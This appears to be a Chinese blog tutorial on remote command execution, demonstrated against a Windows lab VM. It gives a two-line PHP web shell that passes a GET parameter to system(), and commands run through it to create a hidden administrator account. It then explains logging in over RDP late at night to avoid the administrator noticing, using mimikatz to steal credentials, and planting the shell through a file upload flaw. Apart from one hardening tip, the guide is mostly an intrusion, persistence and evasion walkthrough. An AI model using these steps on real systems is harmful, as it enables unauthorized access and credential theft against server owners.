RCE简介

RCE英文全称

remote command/code execute

分类

  1. 远程命令执行ping
    应用系统在设计的时候就预备提供给用户一个指定的远程命令操作的接口,常用的用ping命令来检测网络是否连通,分析判定网络故障。比如路由器、防火墙等上面会有一个web界面用来进行ping操作

    但是开发者在完成这个功能时,没有做好安全控制,导致攻击者可以从这个接口提交“意料之外”的命令

  2. 远程代码执行evel
    开发者在输入点没有做过滤,或者过滤处理的不完全。导致后台把用户输入的数据当作代码的一部分,拼接到系统命令中去执行了


简单来说,远程命令执行,执行的是命令行语句,比如ipconfig,net start,ping ……

而远程代码执行,执行的是php语句,比如phpinfo();……

危险函数

PHP里的危险函数

1、    system
2、    exec
3、    shell_exec
4、    passthru
5、    popen
6、    proc_popen
7     ………………

Windows系统命令拼接

Windows系统命令拼接

(虽然现在大部分网站都是在linux环境下部署,但是大部分的个人电脑都是windows系统,所以这里以windows为例)

准备

首先,审计一下网站代码,是否有上面提到过的危险函数,可以用Ctrl+F来查找

这里我用phpstudy搭了一个网站,里面有个res.php文件。

res.php

<?php
$a=$_GET['12345'];      //这里12345是密码
system($a);
?>

在这里插入图片描述
当然,正常网站一个php文件里不可能只有这么两行内容,这里只是为了方便演示,把其他的无关内容都删掉掉了

就算没找到危险函数也没关系,可以看看能不能利用文件上传漏洞,自己上传一个危险文件上去

连接

在主机上浏览网页
192.168.177.134 是ip
11111/res.php 是路径
在这里插入图片描述
报这个错正常,不影响使用

查看ip

?12345=ipconfig

‘12345’ 就是前面所说的的密码

在这里插入图片描述

查看身份

?12345=whoami

在这里插入图片描述

administrator ?管理员身份,这就得偷笑了

新建账号

新建一个新用户
?12345=net user ihszg 123456 /add

账号是ihszg,密码是123456

在这里插入图片描述

提权账号

将ihszg这个用户提到管理员组(因为当前登录账号是administrator,属于管理员组,所以有资格将其他用户提权到管理员组)
?12345=net localgroup administrators ihszg /add

在这里插入图片描述

如果当前用户不是管理员的话,成功率就低了

因为除了管理员,默认只有白名单里的普通用户才允被许远程连接,显然,管理员不会将你的的ip地址加入白名单。
在这里插入图片描述

因此建议尽量不要用管理员身份登录电脑(网站),需要用管理员身份运行的场合再临时提权,这样或许能让你的服务器多坚持一秒钟

登录账号

win+r,再输入mstsc,回车,开启远程连接服务

在这里插入图片描述

输入对方的ip,点击连接
在这里插入图片描述
在这里插入图片描述
这里报错,说对方没有开启远程连接
那就开启虚拟机的远程连接

允许远程访问

这步其实在准备工作中就应该做的,因为正常网站都会开启远程连接的,毕竟总不能让运维每次登录服务器都跑去机房

进入虚拟机,控制面板/系统和安全/系统/允许远程访问
在这里插入图片描述
在这里插入图片描述选择应用确定

输入刚刚新建的账号、密码
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
选择——否,现在登录会将正在登录的用户挤下线,引起管理员的警觉,当然要等到三更半夜其他用户都休息的时候再登录。

所以小心你身边的夜猫子,说不定他就在觊觎你电脑里的资源
在这里插入图片描述

选择是,登录成功

在这里插入图片描述

当然,新建新用户不是长久之计,管理员一看到多了个登录的账号,怎么会不起疑心呢

所以这里推荐一个 mimikatz 工具,可以查看windows系统的当前登录过账号和密码。看到账号密码后,就可以删除这个新建的用户,然后利用已有的账号密码登录,具体如何使用mimikatz可以看这篇文章

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐